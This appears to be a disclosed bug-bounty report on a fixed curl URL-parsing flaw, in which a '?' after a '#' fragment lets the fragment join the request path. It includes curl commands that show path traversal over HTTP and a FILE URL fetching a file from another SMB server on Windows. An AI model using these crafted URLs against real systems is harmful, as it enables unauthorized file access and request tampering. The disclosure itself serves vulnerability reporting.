SMB access smuggling via FILE URL on Windows
CURL's URL parser mishandles a '?' after a '#' fragment, causing the fragment to be treated as part of the path. On Windows, this can make a FILE URL fetch a file from a different SMB server than the user intended.
- Triaged in 17 days
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 15 months
Summary:
While CURL 7.62 > parses URLs that have an ? (parameter separator) char after the # (fragment separator), CURL urlapi code treats the path with the hash part as it being the same one, this may allow some problem on specific protocols that may have a security impact. On HTTP, an attacker may be able to modify original requests by appending "?" to the fragment part of the URL, see first example. On FILE, CURL can be confused while requesting FILE urls to get a file from a different server that the user intended on Windows as the FILE protocol on Windows supports SMB.
Steps To Reproduce:
HTTP Example:
fmunozs@ashes MINGW64 ~/Downloads/curl-7.66.0_2-win64-mingw/curl-7.66.0-win64-mingw/bin
$ ./curl -v "http://localhost/safepath/something#/../../anotherpath/somethingelse"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
* Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /safepath/something HTTP/1.1
> Host: localhost
> User-Agent: curl/7.66.0
> Accept: */*
>
fmunozs@ashes MINGW64 ~/Downloads/curl-7.66.0_2-win64-mingw/curl-7.66.0-win64-mingw/bin
$ ./curl -v "http://localhost/safepath/something#/../../anotherpath/somethingelse?"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
* Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /anotherpath/somethingelse? HTTP/1.1
> Host: localhost
> User-Agent: curl/7.66.0
> Accept: */*
>
File example:
fmunozs@ashes MINGW64 ~/Downloads/curl-7.66.0_2-win64-mingw/curl-7.66.0-win64-mingw/bin
$ ./curl "file://localhost/windows/win.ini"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 92 100 92 0 0 46000 0 --:--:-- --:--:-- --:--:-- 46000
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
fmunozs@ashes MINGW64 ~/Downloads/curl-7.66.0_2-win64-mingw/curl-7.66.0-win64-mingw/bin
$ ./curl "file://localhost/windows/win.ini#/../..//192.168.88.248/home/secret.txt"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 92 100 92 0 0 46000 0 --:--:-- --:--:-- --:--:-- 46000
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
fmunozs@ashes MINGW64 ~/Downloads/curl-7.66.0_2-win64-mingw/curl-7.66.0-win64-mingw/bin
$ ./curl "file://localhost/windows/win.ini#/../..//192.168.88.248/home/secret.txt?"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 33 100 33 0 0 2750 0 --:--:-- --:--:-- --:--:-- 2750
file on different smb server/path
Impact
Modify expected request behavior on several protocols
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the URL parser incorrectly includes the fragment in the path when a '?' appears after the '#', instead of stripping the fragment.
Impact
An attacker could modify expected request behaviour on several protocols, and on Windows potentially cause curl to read a file from a different SMB server.
What the attacker needed
Curl version 7.62 or later; Windows for the SMB impact; attacker controls a URL
How it was found
- Run curl with a normal HTTP URL containing a fragment.
- Observe the request path is the part before the fragment.
- Run curl with the same URL but add '?' after the fragment.
- Observe the request path now includes the fragment content.
- Run curl with a FILE URL pointing to a local Windows file.
- Run curl with a FILE URL that has a fragment containing path traversal and a remote SMB address, followed by '?', and observe it fetches from the remote server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A URL has parts: the address, a path, and a fragment after '#'. Normally the fragment is ignored by the server. Here, adding a '?' after the fragment made curl treat the fragment as part of the path. On Windows, file paths can point to network shares, so this trick could make curl read a file from an attacker's server instead of the local machine.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.